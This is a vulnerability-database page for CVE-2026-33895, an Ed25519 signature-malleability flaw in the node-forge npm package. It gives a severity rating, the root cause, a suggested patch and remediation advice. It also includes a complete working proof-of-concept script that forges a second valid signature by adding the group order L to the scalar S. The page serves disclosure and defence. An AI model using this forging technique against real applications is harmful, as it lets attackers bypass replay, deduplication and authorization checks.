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Node.js CVE-2026-33895

HIGH
Improper Verification of Cryptographic Signature (CWE-347)
2026-03-26 https://github.com/digitalbazaar/forge
7.5
CVSS 3.1 · Vendor: https://github.com/digitalbazaar/forge
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Severity by source

Vendor (https://github.com/digitalbazaar/forge) PRIMARY
7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Red Hat
7.5 HIGH
qualitative

Primary rating from Vendor (https://github.com/digitalbazaar/forge).

CVSS VectorVendor: https://github.com/digitalbazaar/forge

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

3
Analysis Generated
Mar 26, 2026 - 22:16 vuln.today
Patch released
Mar 26, 2026 - 22:16 nvd
Patch available
CVE Published
Mar 26, 2026 - 22:04 nvd
HIGH 7.5

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 64,023 npm packages depend on node-forge (2,805 direct, 61,321 indirect)

Ecosystem-wide dependent count for version 1.4.0.

DescriptionCVE.org

Summary

Ed25519 signature verification accepts forged non-canonical signatures where the scalar S is not reduced modulo the group order (S >= L). A valid signature and its S + L variant both verify in forge, while Node.js crypto.verify (OpenSSL-backed) rejects the S + L variant, as defined by the specification. This class of signature malleability has been exploited in practice to bypass authentication and authorization logic (see CVE-2026-25793, CVE-2022-35961). Applications relying on signature uniqueness (i.e., dedup by signature bytes, replay tracking, signed-object canonicalization checks) may be bypassed.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and all versions since Ed25519 was implemented.

Configuration assumptions:

  • Default forge Ed25519 verify API path (ed25519.verify(...)).

Root Cause

In lib/ed25519.js, crypto_sign_open(...) uses the signature's last 32 bytes (S) directly in scalar multiplication:

javascript
scalarbase(q, sm.subarray(32));

There is no prior check enforcing S < L (Ed25519 group order). As a result, equivalent scalar classes can pass verification, including a modified signature where S := S + L (mod 2^256) when that value remains non-canonical. The PoC demonstrates this by mutating only the S half of a valid 64-byte signature.

Reproduction Steps

  • Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  • Place and run the PoC script (poc.js) with node poc.js in the same level as the forge folder.
  • The script generates an Ed25519 keypair via forge, signs a fixed message, mutates the signature by adding Ed25519 order L to S (bytes 32..63), and verifies both original and tweaked signatures with forge and Node/OpenSSL (crypto.verify).
  • Confirm output includes:
json
{
	"forge": {
		"original_valid": true,
		"tweaked_valid": true
	},
	"crypto": {
		"original_valid": true,
		"tweaked_valid": false
	}
}

Proof of Concept

Overview:

  • Demonstrates a valid control signature and a forged (S + L) signature in one run.
  • Uses Node/OpenSSL as a differential verification baseline.
  • Observed output on tested commit:
text
{
    "forge": {
        "original_valid": true,
        "tweaked_valid": true
    },
    "crypto": {
        "original_valid": true,
        "tweaked_valid": false
    }
}

<details><summary>poc.js</summary>

javascript
#!/usr/bin/env node
'use strict';

const path = require('path');
const crypto = require('crypto');
const forge = require('./forge');
const ed = forge.ed25519;

const MESSAGE = Buffer.from('dderpym is the coolest man alive!');

// Ed25519 group order L encoded as 32 bytes, little-endian (RFC 8032).
const ED25519_ORDER_L = Buffer.from([
  0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
  0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10,
]);

// For Ed25519 signatures, s is the last 32 bytes of the 64-byte signature.
// This returns a new signature with s := s + L (mod 2^256), plus the carry.
function addLToS(signature) {
  if (!Buffer.isBuffer(signature) || signature.length !== 64) {
    throw new Error('signature must be a 64-byte Buffer');
  }
  const out = Buffer.from(signature);
  let carry = 0;
  for (let i = 0; i < 32; i++) {
    const idx = 32 + i; // s starts at byte 32 in the 64-byte signature.
    const sum = out[idx] + ED25519_ORDER_L[i] + carry;
    out[idx] = sum & 0xff;
    carry = sum >> 8;
  }
  return { sig: out, carry };
}

function toSpkiPem(publicKeyBytes) {
  if (publicKeyBytes.length !== 32) {
    throw new Error('publicKeyBytes must be 32 bytes');
  }
  // Builds an ASN.1 SubjectPublicKeyInfo for Ed25519 (RFC 8410) and returns PEM.
  const oidEd25519 = Buffer.from([0x06, 0x03, 0x2b, 0x65, 0x70]);
  const algId = Buffer.concat([Buffer.from([0x30, 0x05]), oidEd25519]);
  const bitString = Buffer.concat([Buffer.from([0x03, 0x21, 0x00]), publicKeyBytes]);
  const spki = Buffer.concat([Buffer.from([0x30, 0x2a]), algId, bitString]);
  const b64 = spki.toString('base64').match(/.{1,64}/g).join('\n');
  return `-----BEGIN PUBLIC KEY-----\n${b64}\n-----END PUBLIC KEY-----\n`;
}

function verifyWithCrypto(publicKey, message, signature) {
  try {
    const keyObject = crypto.createPublicKey(toSpkiPem(publicKey));
    const ok = crypto.verify(null, message, keyObject, signature);
    return { ok };
  } catch (error) {
    return { ok: false, error: error.message };
  }
}

function toResult(label, original, tweaked) {
  return {
    [label]: {
      original_valid: original.ok,
      tweaked_valid: tweaked.ok,
    },
  };
}

function main() {
  const kp = ed.generateKeyPair();
  const sig = ed.sign({ message: MESSAGE, privateKey: kp.privateKey });
  const ok = ed.verify({ message: MESSAGE, signature: sig, publicKey: kp.publicKey });
  const tweaked = addLToS(sig);
  const okTweaked = ed.verify({
    message: MESSAGE,
    signature: tweaked.sig,
    publicKey: kp.publicKey,
  });
  const cryptoOriginal = verifyWithCrypto(kp.publicKey, MESSAGE, sig);
  const cryptoTweaked = verifyWithCrypto(kp.publicKey, MESSAGE, tweaked.sig);
  const result = {
    ...toResult('forge', { ok }, { ok: okTweaked }),
    ...toResult('crypto', cryptoOriginal, cryptoTweaked),
  };
  console.log(JSON.stringify(result, null, 2));
}

main();

</details>

Suggested Patch

Add strict canonical scalar validation in Ed25519 verify path before scalar multiplication. (Parse S as little-endian 32-byte integer and reject if S >= L).

Here is a patch we tested on our end to resolve the issue, though please verify it on your end:

diff
index f3e6faa..87eb709 100644
--- a/lib/ed25519.js
+++ b/lib/ed25519.js
@@ -380,6 +380,10 @@ function crypto_sign_open(m, sm, n, pk) {
     return -1;
   }

+  if(!_isCanonicalSignatureScalar(sm, 32)) {
+    return -1;
+  }
+
   for(i = 0; i < n; ++i) {
     m[i] = sm[i];
   }
@@ -409,6 +413,21 @@ function crypto_sign_open(m, sm, n, pk) {
   return mlen;
 }

+function _isCanonicalSignatureScalar(bytes, offset) {
+  var i;
+  // Compare little-endian scalar S against group order L and require S < L.
+  for(i = 31; i >= 0; --i) {
+    if(bytes[offset + i] < L[i]) {
+      return true;
+    }
+    if(bytes[offset + i] > L[i]) {
+      return false;
+    }
+  }
+  // S == L is non-canonical.
+  return false;
+}
+
 function modL(r, x) {
   var carry, i, j, k;
   for(i = 63; i >= 32; --i) {

Resources

  • RFC 8032 (Ed25519): https://datatracker.ietf.org/doc/html/rfc8032#section-8.4
  • > Ed25519 and Ed448 signatures are not malleable due to the verification check that decoded S is smaller than l

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

AnalysisAI

The digitalbazaar/forge npm package accepts forged Ed25519 signatures due to missing scalar canonicalization checks, allowing authentication and authorization bypass in applications that rely on signature uniqueness. All versions since Ed25519 implementation are affected (confirmed through version 1.3.3), identified as pkg:npm/node-forge. Publicly available exploit code exists with a complete proof-of-concept demonstrating how attackers can create multiple valid signatures for the same message by adding the group order L to the scalar component S, bypassing deduplication, replay protection, and signed-object canonicalization checks. The vendor has released a patch via commit bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85.

Technical ContextAI

This vulnerability affects the Ed25519 digital signature implementation in the node-forge library (pkg:npm/node-forge). Ed25519 is an elliptic curve signature scheme defined in RFC 8032 that requires strict canonicalization: valid signatures must have their scalar component S satisfy S < L, where L is the group order. The root cause (CWE-347: Improper Verification of Cryptographic Signature) lies in the crypto_sign_open function in lib/ed25519.js, which directly uses the signature's last 32 bytes for scalar multiplication via scalarbase without validating that S is reduced modulo the group order. This enables signature malleability where mathematically equivalent scalar classes (S and S+L) both pass verification in forge, while RFC 8032-compliant implementations like OpenSSL correctly reject non-canonical variants. The vulnerability mirrors similar Ed25519 malleability issues previously exploited in production systems (CVE-2026-25793, CVE-2022-35961).

RemediationAI

Upgrade to a patched version of node-forge that includes the fix from commit bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85, available at https://github.com/digitalbazaar/forge/commit/bdecf11571c9f1a487cc0fe72fe78ff6dfa96b85. The patch adds strict canonical scalar validation (_isCanonicalSignatureScalar) that enforces S < L before scalar multiplication in the Ed25519 verification path, rejecting non-canonical signatures where the scalar component equals or exceeds the group order. Until patching is completed, implement application-layer signature deduplication using message digests or nonces rather than raw signature bytes, add explicit replay protection through timestamp validation with short validity windows, and consider migrating critical authentication flows to OpenSSL-backed implementations (Node.js crypto.verify) that already enforce RFC 8032 canonicalization requirements. Review all authentication and authorization logic that assumes signature uniqueness for potential bypass vulnerabilities. Consult the vendor advisory at https://github.com/digitalbazaar/forge/security/advisories/GHSA-q67f-28xg-22rw for additional guidance.

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CVE-2026-33895 vulnerability details – vuln.today

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